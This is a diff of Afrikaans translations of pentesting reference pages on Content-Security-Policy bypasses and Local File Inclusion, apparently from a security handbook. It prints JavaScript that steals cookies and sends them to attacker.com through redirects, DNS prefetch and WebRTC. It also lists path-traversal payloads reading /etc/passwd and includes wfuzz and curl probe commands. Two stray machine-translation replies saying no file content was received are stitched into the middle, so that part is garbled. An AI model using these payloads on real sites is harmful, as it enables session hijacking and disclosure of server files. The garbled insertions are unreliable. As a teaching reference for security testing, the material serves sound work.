+Hierdie aanval behels 'n mate van social engineering waar die aanvaller **oortuig die gebruiker om 'n skakel oor die bookmarklet van die browser te drag\&dropped**. Hierdie bookmarklet sal **kwaadwillige javascript** kode bevat wat, wanneer dit drag\&dropped of geklik word, in die konteks van die huidige webvenster uitgevoer sal word, **CSP omseil en toelaat om sensitiewe inligting te steel** soos cookies of tokens.
 
 Vir meer inligting [**kyk na die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
-### CSP-omseiling deur CSP te beperk
+### CSP omseiling deur CSP te beperk
 
-In [**hierdie CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omseil deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS file verhoed het wat, dan, via **prototype pollution** of **dom clobbering** toegelaat het om **'n ander script te misbruik om 'n arbitrêre script te laai**.
+In [**hierdie CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omseil deur binne 'n toegelate Iframe 'n meer beperkende CSP in te spuit wat verhinder het dat 'n spesifieke JS-lêer gelaai word wat, daarna, via **prototype pollution** of **dom clobbering** toegelaat het om **'n ander script te misbruik om 'n ewekansige script te laai**.
 
-Jy kan **die CSP van 'n Iframe beperk** met die **`csp`** attribute:
+Jy kan die **CSP van 'n Iframe beperk** met die **`csp`** attribuut:
 ```html
 <iframe
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), dit was moontlik via **HTML injection** om 'n **CSP** verder te **beperk**, sodat 'n script wat CSTI voorkom gedeaktiveer is en gevolglik die **kwetsbaarheid uitgebuit kon word.**\
-CSP kan meer beperkend gemaak word deur **HTML meta tags** en inline scripts kan gedeaktiveer word deur die **verwydering** van die **inskrywing** wat hul **nonce** toelaat en **enable specific inline script via sha**:
+In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), dit was moontlik via **HTML injection** om 'n **CSP** meer te **beperk** sodat 'n script wat CSTI verhoed gedeaktiveer is en dus die **kwesbaarheid exploiteerbaar geword het.**\
+CSP kan meer beperkend gemaak word deur **HTML meta tags** te gebruik en inline scripts kan gedeaktiveer word deur die **entry** wat hul **nonce** toelaat te **verwyder** en **spesifieke inline script via sha toe te laat**:
 ```html
 <meta
 http-equiv="Content-Security-Policy"
@@ -574,9 +573,9 @@ content="script-src 'self'
 ```
 ### JS exfiltration with Content-Security-Policy-Report-Only
 
-Indien jy daarin slaag om die server te laat reageer met die kopstuk **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit na jou server laat wys, en as jy die **JS content** wat jy wil exfiltrate met **`<script>`** omsluit, en aangesien dit hoogs waarskynlik is dat `unsafe-inline` nie deur die CSP toegelaat word nie, sal dit 'n **CSP error** veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) na die server gestuur word deur `Content-Security-Policy-Report-Only`.
+As jy daarin slaag om die server te laat reageer met die header **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (bv. as gevolg van 'n CRLF), kan jy dit na jou server laat wys, en as jy die **JS inhoud** wat jy wil exfiltreer **omvou** met **`<script>`** en aangesien dit waarskynlik is dat `unsafe-inline` nie deur die CSP toegelaat word nie, sal dit 'n **CSP error** veroorsaak en 'n deel van die script (wat die sensitiewe inligting bevat) vanaf `Content-Security-Policy-Report-Only` na die server gestuur word.
 
-Vir 'n voorbeeld [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
+Vir 'n voorbeeld [**kyk na hierdie CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 
 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
 ```javascript
@@ -585,44 +584,44 @@ document.querySelector("DIV").innerHTML =
 ```
 ### Leaking Inligting met CSP en Iframe
 
-- 'n `iframe` word geskep wat na 'n URL wys (kom ons noem dit `https://example.redirect.com`) wat deur CSP toegelaat word.
-- Hierdie URL herlei dan na 'n geheime URL (bv., `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP.
-- Deur na die `securitypolicyviolation` event te luister, kan mens die `blockedURI` property vang. Hierdie property openbaar die domein van die geblokkeerde URI, leaking die geheime domein waarheen die aanvanklike URL herlei het.
+- Daar word 'n `iframe` geskep wat na 'n URL wys (kom ons noem dit `https://example.redirect.com`) wat deur CSP toegelaat word.
+- Hierdie URL herlei dan na 'n geheime URL (bv. `https://usersecret.example2.com`) wat **nie deur CSP toegelaat word nie**.
+- Deur na die `securitypolicyviolation` event te luister, kan mens die `blockedURI`-eienskap vang. Hierdie eienskap openbaar die domein van die geblokkeerde URI, en leak die geheime domein waarheen die aanvanklike URL herlei het.
 
-Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedragspatrone het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die blootstelling van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
+Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag toon in die hantering van iframes met betrekking tot CSP, wat kan lei tot potensiële leak van sensitiewe inligting weens ongedefinieerde gedrag.
 
-Nog 'n tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode berus op 'n binaire soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-direktief te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n snip wat wys hoe die CSP opgestel kan word om hierdie metode te vergemaklik:
+Nog 'n tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode berus op 'n binaire soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat doelbewus geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-direktief te wysig om daardie subdomeine te blokkeer of toe te laat. Hier is 'n stukkie kode wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
-Deur te monitor watter requests deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk en uiteindelik die volledige URL ontbloot.
+Deur te monitor watter versoeke deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL ontdek.
 
-Beide metodes benut die nuanses van CSP-implementering en -gedrag in blaaiers, en toon hoe skynbaar veilige beleide per ongeluk kan leak sensitiewe inligting.
+Beide metodes benut die nuanses van CSP-implementasie en gedrag in blaaiers, en demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan leak.
 
-Trick from [**here**](https://ctftime.org/writeup/29310).
+Truuk van [**here**](https://ctftime.org/writeup/29310).
 
-## Onveilige tegnologieë om CSP te omseil
+## Onveilige Tegnologieë om CSP te Omseil
 
-### PHP-foute wanneer te veel params
+### PHP Errors when too many params
 
-Volgens die [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), stuur te veel parameters (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 files kan doen). Enige gedefinieerde **`header()`** in die PHP-webkode **won't be sent** weens die fout wat dit sal veroorsaak.
+Volgens die [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), die stuur van te veel parameters (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 files kan doen). Enige gedefinieerde **`header()`** in die PHP-webkode **sal nie gestuur word nie** weens die fout wat dit sal veroorsaak.
 
 ### PHP response buffer overload
 
-PHP is bekend daarvoor dat dit die response na 4096 bytes standaard buffer. Daarom, as PHP 'n waarskuwing vertoon, kan die response deur voldoende data in waarskuwings te plaas, **sent** word **before** die **CSP header**, wat veroorsaak dat die header geïgnoreer word.\
-Die tegniek bestaan basies daarin om die response-buffer met waarskuwings te vul sodat die CSP-header nie gestuur word nie.
+PHP is bekend daarvoor dat dit die **response na 4096** bytes volgens verstek buffer. Daarom, as PHP 'n waarskuwing toon, deur voldoende data binne waarskuwings te verskaf, sal die **response** **gestuur** word **voor** die **CSP header**, wat veroorsaak dat die header geïgnoreer word.\
+Dan bestaan die tegniek basies uit om die **response buffer met waarskuwings te vul** sodat die CSP header nie gestuur word nie.
 
 Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 
 ### Kill CSP via max_input_vars (headers already sent)
 
-Omdat headers voor enige output gestuur moet word, kan waarskuwings wat deur PHP uitgegee word latere `header()`-aanroepe ongeldig maak. As gebruikersinvoer `max_input_vars` oorskry, gooi PHP eers 'n startup warning; enige volgende `header('Content-Security-Policy: ...')` sal misluk met “headers already sent”, wat effektief CSP deaktiveer en andersins-geblokkeerde reflective XSS toelaat.
+Omdat headers voor enige output gestuur moet word, kan waarskuwings deur PHP gegenereer later `header()`-oproepe ongeldig maak. As gebruikersinvoer `max_input_vars` oorskry, gooi PHP eers 'n opstartwaarskuwing; enige daaropvolgende `header('Content-Security-Policy: ...')` sal met “headers already sent” misluk, wat CSP effektief deaktiveer en andersins-gebokkkeerde reflective XSS toelaat.
 ```php
 <?php
 header("Content-Security-Policy: default-src 'none';");
 echo $_GET['xss'];
 ```
-Ek het geen inhoud ontvang om te vertaal nie. Plak asseblief die inhoud van src/pentesting-web/content-security-policy-csp-bypass/README.md wat jy wil hê ek moet vertaal, dan vertaal ek dit na Afrikaans volgens die gegewe riglyne.
+I can translate that file to Afrikaans, but I don't see the README.md content here. Please paste the markdown content of src/pentesting-web/content-security-policy-csp-bypass/README.md and I will translate the English text to Afrikaans while preserving all markdown/html tags, links, refs and code exactly as you requested.
 ```bash
 # CSP in place → payload blocked by browser
 curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
@@ -632,9 +631,9 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
 # Warning: PHP Request Startup: Input variables exceeded 1000 ...
 # Warning: Cannot modify header information - headers already sent
 ```
-### Herskryf foutbladsy
+### Herskryf Foutbladsy
 
-Volgens [**this writeup**](https://blog.ssrf.kr/69) blyk dit dat dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (potensieel sonder CSP) te laai en die inhoud daarvan te herskryf.
+Uit [**this writeup**](https://blog.ssrf.kr/69) blyk dit asof dit moontlik was om 'n CSP-beskerming te bypass deur 'n foutbladsy te laai (moontlik sonder CSP) en die inhoud daarvan te herskryf.
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@@ -643,40 +642,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
 ```
 ### SOME + 'self' + wordpress
 
-SOME is 'n tegniek wat 'n XSS (of sterk beperkte XSS) misbruik **in an endpoint of a page** om **ander endpoints van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwetsbare endpoint vanaf 'n aanvallersbladsy te laai en dan die aanvallersbladsy te verfris na die regte endpoint in dieselfde oorsprong wat jy wil misbruik. Op hierdie manier kan die **vulnerable endpoint** die **`opener`** object in die **payload** gebruik om toegang tot die **DOM** van die **real endpoint to abuse** te kry. Vir meer inligting kyk:
+SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **in an endpoint of a page** misbruik om **ander endpoints van dieselfde oorsprong.** Dit word gedoen deur die vulnerable endpoint vanaf 'n attacker page te laai en dan die attacker page te ververs na die real endpoint in die oorsprong wat jy wil misbruik. Op hierdie manier kan die **vulnerable endpoint** die **`opener`** object in die **payload** gebruik om toegang te kry tot die **DOM** van die **real endpoint to abuse**. Vir meer inligting, kyk:
 
 {{#ref}}
 ../xss-cross-site-scripting/some-same-origin-method-execution.md
 {{#endref}}
 
-Boonop het **wordpress** 'n **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` wat die **data** wat gestuur word in die uitset **reflekt** (met die beperking tot slegs letters, syfers en punte).
+Verder het **wordpress** 'n **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` wat die **data** wat gestuur word in die uitset sal weerspieël (met die beperking tot slegs letters, syfers en kolletjies).
 
-'n Aanvaller kan daardie endpoint misbruik om **generate a SOME attack** teen WordPress en dit **embed** binne `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` noot dat hierdie **script** **loaded** sal word omdat dit deur **'self'** toegelaat word. Verder, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME attack** misbruik deur die **vulnerable** **callback** endpoint wat die **CSP** **bypasses** om meer voorregte aan 'n gebruiker te gee, 'n nuwe plugin te installeer...\
-Vir meer inligting oor hoe om hierdie attack uit te voer, kyk [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
+'n Attacker kan daardie endpoint misbruik om 'n SOME attack teen WordPress te genereer en dit in te sluit binne `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` Let wel dat hierdie **script** sal **loaded** word omdat dit **allowed by 'self'**. Verder, en aangesien WordPress geïnstalleer is, kan 'n attacker dalk die **SOME attack** misbruik deur die **vulnerable** **callback** endpoint wat die **CSP** omseil om meer regte aan 'n gebruiker te gee, 'n nuwe plugin te installeer...\
+Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
-## CSP Eksfiltrasie Omseilings
+## CSP Exfiltration Bypasses
 
-As daar 'n streng CSP is wat jou nie toelaat om **interact with external servers** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer.
+As daar 'n streng CSP is wat jou nie toelaat om met external servers te interact nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te exfiltrate.
 
 ### Location
 
-Jy kan eenvoudig die location opdateer om die geheime inligting na die aanvaller se bediener te stuur:
+Jy kan net die location opdateer om die geheime inligting na die attacker's server te stuur:
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 document.location = "https://attacker.com/?" + sessionid
 ```
 ### Meta tag
 
-Jy kan herlei deur 'n meta-tag in te voeg (dit is net 'n redirect, dit sal nie leak inhoud nie)
+Jy kan herlei deur 'n meta tag in te voeg (dit is net 'n herleiding, dit sal nie inhoud leak nie)
 ```html
 <meta http-equiv="refresh" content="1; http://attacker.com" />
 ```
 ### DNS Prefetch
 
-Om bladsye vinniger te laai, sal blaaiers hostnames vooraf na IP-adresse oplos en dit in die kas stoor vir later gebruik.\
-Jy kan 'n blaaier aandui om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`
+Om bladsye vinniger te laai, gaan blaaiers gasheername vooraf na IP-adresse oplos en dit in die kas stoor vir later gebruik.\
+Jy kan 'n blaaier aandui om 'n gasheernaam vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`
 
-Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS-versoeke te eksfiltreer**:
+Jy kan hierdie gedrag misbruik om **exfiltrate sensitiewe inligting via DNS requests**:
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 var body = document.getElementsByTagName("body")[0]
@@ -693,18 +692,18 @@ linkEl.rel = "prefetch"
 linkEl.href = urlWithYourPreciousData
 document.head.appendChild(linkEl)
 ```
-Om te voorkom dat dit gebeur, kan die bediener die HTTP header stuur:
+Om te voorkom dat dit gebeur, kan die bediener die HTTP-header stuur:
 ```
 X-DNS-Prefetch-Control: off
 ```
 > [!TIP]
-> Skynbaar werk hierdie tegniek nie in headless browsers (bots) nie
+> Blykbaar werk hierdie tegniek nie in headless browsers (bots) nie
 
 ### WebRTC
 
-Op verskeie bladsye kan jy lees dat **WebRTC die `connect-src` beleid van die CSP nie nagaan**.
+Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid van die CSP kontroleer nie**.
 
-Eintlik kan jy _leak_ inligting deur 'n _DNS request_ te gebruik. Kyk na hierdie kode:
+In werklikheid kan jy _leak_ inligting deur 'n _DNS request_ te stuur. Kyk na hierdie kode:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@@ -737,12 +736,12 @@ iconURL:"https:"+your_data+"example.com"
 })
 )
 ```
-## Kontroleer CSP-beleid aanlyn
+## CSP-beleide aanlyn nagaan
 
 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
 - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
 
-## CSP outomaties skep
+## Outomatiese skep van CSP
 
 [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
 

src/pentesting-web/file-inclusion/README.md

@@ -4,58 +4,58 @@
 
 ## File Inclusion
 
-**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë bediener gelaai (Beste: jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit standaard **uitgeskakel** (**allow_url_include**).\
+**Remote File Inclusion (RFI):** Die lêer word vanaf 'n remote server gelaai (Beste: Jy kan die code skryf en die server sal dit uitvoer). In php is dit standaard **uitgeskakel** (**allow_url_include**).\
 **Local File Inclusion (LFI):** Die bediener laai 'n plaaslike lêer.
 
-Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
+Die kwesbaarheid ontstaan wanneer die gebruiker op enigerlei wyse beheer oor die lêer het wat deur die bediener gelaai gaan word.
 
 Kwetsbare **PHP functions**: require, require_once, include, include_once
 
-'n Interessante hulpmiddel om hierdie kwesbaarheid te eksploiteer: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+'n interessante hulpmiddel om hierdie kwesbaarheid te benut: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
 
-## Blind - Interessant - LFI2RCE lêers
+## Blind - Interesting - LFI2RCE files
 ```python
 wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
 ```
 ### **Linux**
 
-**Deur verskeie *nix LFI-lyste te meng en meer paaie by te voeg het ek hierdie een geskep:**
+**Deur verskeie \*nix LFI-lyste te kombineer en meer paaie by te voeg het ek hierdie een geskep:**
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
 {{#endref}}
 
-Probeer ook om `/` vir `\` te verander\
+Probeer ook om `/` na `\` te verander\
 Probeer ook om `../../../../../` by te voeg
 
-A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kontroleer of die kwesbaarheid bestaan) kan gevind word [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
 
 ### **Windows**
 
-Samevoeging van verskillende wordlists:
+Samevoeging van verskeie woordlyste:
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
 {{#endref}}
 
-Probeer ook om `/` vir `\` te verander\
+Probeer ook om `/` na `\` te verander\
 Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg
 
-A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kontroleer of die kwesbaarheid bestaan) kan gevind word [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
 
 ### **OS X**
 
 Kyk na die LFI-lys van linux.
 
-## Basiese LFI en omseilings
+## Basiese LFI and bypasses
 
 Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclusion toegepas word (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
-### traversal sequences verwyder nie-rekursief
+### traversal sequences nie-rekursief verwyder
 ```python
 http://example.com/index.php?page=....//....//....//etc/passwd
 http://example.com/index.php?page=....\/....\/....\/etc/passwd
@@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
 ```
 ### **Null byte (%00)**
 
-Bypass die toevoeging van meer karakters aan die einde van die verskafte string (bypass of: $\_GET\['param']."php")
+Bypass die toevoeging van meer karakters aan die einde van die gegewe string (bypass of: $\_GET\['param']."php")
 ```
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
 Dit is **opgelos sedert PHP 5.4**
 
-### **Kodering**
+### **Enkodering**
 
-Jy kan nie-standaard koderinge gebruik soos double URL encode (en ander):
+Jy kan nie-standaard enkoderinge gebruik soos double URL encode (en ander):
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
-### Vanaf bestaande gids
+### Van bestaande folder
 
-Miskien kontroleer die back-end die gids pad:
+Miskien kontroleer die back-end die folder pad:
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
-### Verkenning van Lêerstelselgidse op 'n Server
+### Verken lêerstelselgidse op 'n bediener
 
-Die lêerstelsel van 'n server kan rekursief verken word om gidse, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die gidsdiepte en die toetsing vir die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
+Die lêerstelsel van 'n bediener kan rekursief verken word om gidse, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaal van die gidsdiepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder volg 'n gedetaileerde metode om dit te bereik:
 
-1. **Bepaal gidsdiepte:** Vind die diepte van jou huidige gids deur suksesvol die `/etc/passwd`-lêer te haal (toepaslik as die server is Linux-based). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui:
+1. **Bepaal gidsdiepte:** Bepaal die diepte van jou huidige gids deur suksesvol die `/etc/passwd` lêer te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Soek na gidse:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die bykomende gidsvlak vereis dat die diepte met een verhoog word:
+2. **Speur na gidse:** Voeg die naam van die vermoedelike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die depth met een verhoog word:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
-3. **Interpreteer die uitkomste:** Die bediener se reaksie dui aan of die gids bestaan:
-- **Fout / Geen Uitvoer:** Die gids `private` bestaan waarskynlik nie by die gespesifiseerde ligging nie.
-- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig.
-4. **Rekursiewe Verkenning:** Gevonde gidses kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes.
+3. **Interpreteer die uitslae:** Die bediener se reaksie dui aan of die gids bestaan:
+- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie by die gespesifiseerde ligging nie.
+- **Inhoud van `/etc/passwd`:** Die bestaan van die `private` gids word bevestig.
+4. **Rekursiewe verkenning:** Gevonde gidses kan verder ondersoek word vir subgidse of lêers deur dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes te gebruik.
 
-Om gidses op verskillende plekke in die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` gids bevat (aangesien die huidige gids op 'n diepte van 3 is), gebruik:
+Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kontroleer of `/var/www/` 'n `private` gids bevat (aangesien die huidige gids op 'n diepte van 3 is), gebruik:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Path Truncation Technique**
 
-Path truncation is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere veiligheidsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie toevoeg. Die doel is om 'n lêerpad te konstrueer wat, sodra dit deur die veiligheidsmaatreël verander is, steeds na die gewenste lêer wys.
+Path truncation is 'n metode wat gebruik word om lêerpaadjies in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaadjies toevoeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer wys.
 
 In PHP kan verskeie voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
 
-- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad behandel.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` word almal as dieselfde pad behandel.
 - Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (waardeur dit `passwd/` word) nie die geteikende lêer nie.
-- Op dieselfde manier, as `.php` aan 'n lêerpad aangeheg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die betrokke lêer wat geraadpleeg word, verander nie.
+- Net so, as `.php` aan 'n lêerpad aangeheg is (soos `shellcode.php`), sal die byvoeging van `/.` aan die einde nie die geraakte lêer verander nie.
 
-Die verskafde voorbeelde demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
+Die voorbeelde hieronder demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (inligting oor gebruikersrekeninge):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-In hierdie scenario's kan die aantal traversals wat benodig word rondom 2027 wees, maar hierdie getal kan wissel afhangende van die bediener se konfigurasie.
+In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
 
-- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) gekombineer met ekstra dot segments en karakters kan gebruik word om deur die lêerstelsel te navigeer, en effektief aangehegte stringe deur die bediener te ignoreer.
-- **Determining the Required Number of Traversals**: Deur proef-en-fout kan iemand die presiese aantal `../` sequences vind wat nodig is om na die wortelgids te navigeer en daarna na `/etc/passwd`, en te verseker dat enige aangehegte stringe (soos `.php`) geneutraliseer word maar die verlangde pad (`/etc/passwd`) onaangeraak bly.
-- **Starting with a Fake Directory**: Dit is algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad-ontledingslogika te voldoen.
+- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) gekombineer met addisionele dot segments en karakters kan gebruik word om deur die lêerstelsel te navigeer, en effektief aangehegte stringe deur die bediener te ignoreer.
+- **Determining the Required Number of Traversals**: Deur proef-en-fout kan 'n mens die presiese aantal `../` reekse vind wat nodig is om na die wortelgids en dan na `/etc/passwd` te navigeer, en seker te maak dat enige aangehegte stringe (soos `.php`) geneutraliseer word terwyl die gewenste pad (`/etc/passwd`) ongeskonde bly.
+- **Starting with a Fake Directory**: Dit is algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om te voldoen aan die vereistes van die bediener se padparsingslogika.
 
-Wanneer path truncation techniques gebruik word, is dit kritiek om die bediener se pad-ontledingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario kan 'n ander benadering benodig, en toetsing is dikwels nodig om die doeltreffendste metode te vind.
